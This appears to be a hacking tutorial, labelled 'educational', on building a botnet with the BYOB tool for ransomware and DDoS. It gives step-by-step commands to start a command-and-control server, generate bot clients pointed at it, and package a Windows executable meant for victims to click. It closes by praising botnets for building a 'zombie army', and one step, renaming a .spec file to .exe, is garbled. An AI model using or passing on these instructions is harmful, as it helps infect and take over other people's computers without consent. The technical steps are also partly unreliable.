Making Botnet For Ransomware and DDOS profile
Making Botnet For Ransomware and DDOS
profile (educational purpous only)
Today we are going to make a botnet for creating ransomware and for DDOS purposes. For those who don't know what is a botnet, according to Google's definition, Botnet is a network of private computers infected with malicious software and controlled as a group without the owners' knowledge.
The intention of this tutorial is not to infect other’s devices, but we are going to demonstrate how we can create our own Botnet to create Ransomware and doing DDOS. So use it for educational purposes only.
So we are going to use a tool called BYOB. It's available on Github. We will make the botnet to be executed on Windows as most people use it. Follow the below steps:
Step 1: Start your Kali Linux and download the BYOB tool from here https://github.com/malwaredllc/byob.git
After downloading navigate to the BYOB directory and again there will be a folder with the same name ‘byob’. Go there and execute the requirements text file. by these commands:
git clone https://github.com/malwaredllc/byob.git
cd byob/
cd byob/
pip install -r requirements.txt
It will satisfy all the requirements the tool needs to run.
Step 2: Now we will start a botnet server to capture sessions with the below command:
python server.py --port 445
Herewith the ‘–port’ argument you can assign a port to the botnet. We are using ‘445’, you can assign yours.
Step 3: Now open another terminal and create the botnet(for Linux first) by executing this command:
python client.py --name tsbot.py 192.168.43.145 445
Here we’ve assigned the botnet name ‘tsbot’ and the hostname is the local IP of the machine. You can use it over the Internet through port forwarding. We are just demonstrating it on our local network.
The bot will be created in the ‘byob’ directory. Find it and you can open it on any Linux machine(only targets), so it's a bonus one :) But we have to create it for Windows.
Step 4: Now you have to create Botnet with the .EXE extension. To create it execute this command on a new terminal in the ‘byob/byob’ directory:
python client.py --name BotWindows.py --freeze
The ‘–freeze’ argument is used to create .EXE file.
Step 5: Now open another terminal and execute this command:
python client.py --name BotWindows 192.168.43.145 445
Step 6: Go to the ‘byob’ directory. There you will find the Botnet named ‘BotWindows.py‘. Now time to execute this Botnet.
But here comes the problem: What if the victim doesn't have python installed in their windows? Our Botnet will not execute then because it is written in python. Don't worry, we have a plan for that too. If he/she don't have python, we will give them python...hahahahah.
Here we are going to apply a little trick. We are going to use the ‘pyinstaller‘ to make the Botnet script executable. Open the directory where the BotWindows.py is present. Right-click and open the terminal there and apply this command.
pyinstaller --onefile BotWindows.py
This command will generate a new file with the name ‘BotWindows.spec‘. Rename ‘BotWindows.spec‘ with ‘BotWindows.exe‘.
Now, if the target opens the BotNet by simply clicking on it. A new session will be opened on the server terminal. To see the session, type ‘sessions‘ on the terminal. Congrats!! You are in.
Note to the user:
Botnets are the best thing to build an online army of zombies for DDOS attacks and Ransomware.
This script here is risk-free. If you are searching for other Botnet creators be careful while dealing with them. They can backfire sometimes.
Many experts sell botnet on the Darknet. Most of them do not work. If you buy Botnet from others your money may waste